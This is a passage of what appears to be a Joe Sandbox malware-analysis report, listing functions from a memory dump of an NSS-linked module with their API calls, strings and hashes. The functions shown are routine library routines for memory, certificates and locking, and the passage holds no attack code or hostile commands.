Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 4e95114f8dc710839ff473f3df9680865decbbd40892fc97ed1efc2f304b521c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 6A012BA9A4021166F72022667C02FAB359C4F5028DF140230FF1896BC2FB61D55E82B5

Function 6CAF0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B
TlsGetValue.KERNEL32(00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1044
free.MOZGLUE(00000000,?,00000800,6CA8EF74,00000000), ref: 6CAF1064

Strings

security, xrefs: 6CAF1025

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction ID: 7c4aad3f72ac33f5397aa71c553b41a5f27ebdffe50ebe0590775fbdc8a22940
Opcode Fuzzy Hash: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction Fuzzy Hash: 36012BB1A402909BE7202F3C9C05B6A3A78FF06B99F050115FA2897B51EB70C1D6DBD2

Function 6CB21C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB21C74

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CB21C92
free.MOZGLUE(?), ref: 6CB21C99
DeleteCriticalSection.KERNEL32(?), ref: 6CB21CCB
free.MOZGLUE(?), ref: 6CB21CD2

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: a886ef859cd22410dcf1c9062829f9dd165f58e0bd0bdfddc6dc7b098576b585
Instruction ID: cb4a0c9654d87cefda4b614658c487ed63fa05c24635ce0649228242da862ab6
Opcode Fuzzy Hash: a886ef859cd22410dcf1c9062829f9dd165f58e0bd0bdfddc6dc7b098576b585
Instruction Fuzzy Hash: 2C01D2B5F112B09FEF20AFA4AC0DB893BB8A70A748F140125E91EA7B40D73695048797

Function 6CB81C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CA83D77,?,?,6CA84E1D), ref: 6CB81C8A
sqlite3_free.NSS3(00000000), ref: 6CB81CB6

Strings

a generated column, xrefs: 6CB81C6C
a CHECK constraint, xrefs: 6CB81C76, 6CB81C81
an index, xrefs: 6CB81C67
non-deterministic use of %s() in %s, xrefs: 6CB81C85

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 88b5126a6d26669b1182c1114c90953b875c2f3198e5f19e5e8de40ed8dcf767
Instruction ID: dca7163f229062feee4434b6513235d910597fe1933bcf61bae3218b9b000b74
Opcode Fuzzy Hash: 88b5126a6d26669b1182c1114c90953b875c2f3198e5f19e5e8de40ed8dcf767
Instruction Fuzzy Hash: 110147B5B001804BD700BF68D8029B177E5EF8234CF14486DED88DBB02EB32E89AC752

Function 6CB32E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB33046

Part of subcall function 6CB1EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CB07FFB), ref: 6CB3312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB33154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB32E8B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CB1F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CB09BFF,?,00000000,00000000), ref: 6CB1F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CB07FFA), ref: 6CB32EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB3317B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction ID: 3895b1f6dd49d964cf19680e53fb82a73e3e8bd8ef73ed8a55f6c10b8121ddb7
Opcode Fuzzy Hash: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction Fuzzy Hash: FDA1AD75A002689FDB24CF54CC84BEEB7B5EF49308F048199E94D67741E731A985CF92

Function 6CAFED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CAFED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CAFEDCE

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

free.MOZGLUE(00000000,?,?,?,?,6CAFB04F), ref: 6CAFEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CAFEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAFEEFB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction ID: 46523f9e71bdd3726be41f4f66b2d4f2a9ada53d03b48e76c1a22b44b842bdbd
Opcode Fuzzy Hash: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction Fuzzy Hash: 1B817EB1A002059FEB14CF59DD80AAB77F5BF88308F18442CF92597B51D735E89ACBA1

Function 6CAFCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

PR_Now.NSS3 ref: 6CAFCD35

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

Part of subcall function 6CAE6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

PR_GetCurrentThread.NSS3 ref: 6CAFCD54

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Part of subcall function 6CAE7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91CCC,00000000,00000000,?,?), ref: 6CAE729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CAFCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAFCE2C

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CAFCE40

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

Part of subcall function 6CAFCEE0: PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC
Part of subcall function 6CAFCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B
Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction ID: a19290365bbc077698e5478ba7fd01f4c6049c038c5644e3079695f78f25494f
Opcode Fuzzy Hash: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction Fuzzy Hash: F251B3B6E001049BE720DF6ADC40BEA77F4EF4834CF290524E96597741EB31E98ACB91

Function 6CB0FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CB0FFE5

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB10004
PR_EnterMonitor.NSS3(?), ref: 6CB1001B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 2cf12f9c7646621b51d41ac3b8c03861ada7f2dc8b59abf44dfec90117ccb2a5
Instruction ID: c46937963b3417423c1935cf3ca3e7c6f91c6e98563c7fe36ca7d6bf32f8fe3d
Opcode Fuzzy Hash: 2cf12f9c7646621b51d41ac3b8c03861ada7f2dc8b59abf44dfec90117ccb2a5
Instruction Fuzzy Hash: F741567568C6C08BE7204A28FC557AB73A6EB01328F14053DF54BCAE90E7BDA579C742

Function 6CACEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CACEF38

Part of subcall function 6CAB9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAE379E,?,00000001,?), ref: 6CAB9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CACEF53

Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32 ref: 6CAD4C4C
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
Part of subcall function 6CAD4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
Part of subcall function 6CAD4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A

PR_GetCurrentThread.NSS3 ref: 6CACEF9E

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

free.MOZGLUE(00000000), ref: 6CACEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CACF016
free.MOZGLUE(00000000), ref: 6CACF022

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction ID: d86a4ca23d0b86415deb699c74d1949b2a672692d6658cf1ece5c75ad0f546f0
Opcode Fuzzy Hash: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction Fuzzy Hash: 1841A471E00109AFDF018FA9DC85BEE7BB9AF48358F044029F914A7351E771D959CBA2

Function 6CABCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CABCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CABD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CABD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABD025
PR_NewLock.NSS3 ref: 6CABD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CABD074

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction ID: eb1a5e6a03dd66c22ed54450e4a45d4ddb3bd9285bf0199ae31f3b64067dc0f5
Opcode Fuzzy Hash: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction Fuzzy Hash: 6341B4B4E013158FDB10DF29C88479A7BA8EF08319F14416ADC1EAB74AD774D4C9CB91

Function 6CB03FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB03FF2

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CB04001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CB0400F

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CB04054

Part of subcall function 6CA9BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CA9BC24
Part of subcall function 6CA9BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA9BC39
Part of subcall function 6CA9BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CA9BC58
Part of subcall function 6CA9BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CA9BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB04070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CB040CD

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: cc7bb3735c9df027b92835e6569707cb62531384ab33e14a297ae15a150c5069
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7B31EBB1F0038197EB009F549D41BBB3768EFA060CF144225FD49AB742FB72E9998692

Function 6CAA2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CA92D1A), ref: 6CAA2E7E

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

PR_Now.NSS3 ref: 6CAA2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CAA2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CA92D1A), ref: 6CAA2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA92D1A), ref: 6CAA2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAA2F81

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 677d02b9e805b62574f5c1df84b4c80b418adb5facc52540431cdff3befa5686
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: A031E4715011408BE724CE97DC48BAEB2A5EB88318F684779D42D97AD0EB31D8FBC651

Function 6CA90E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

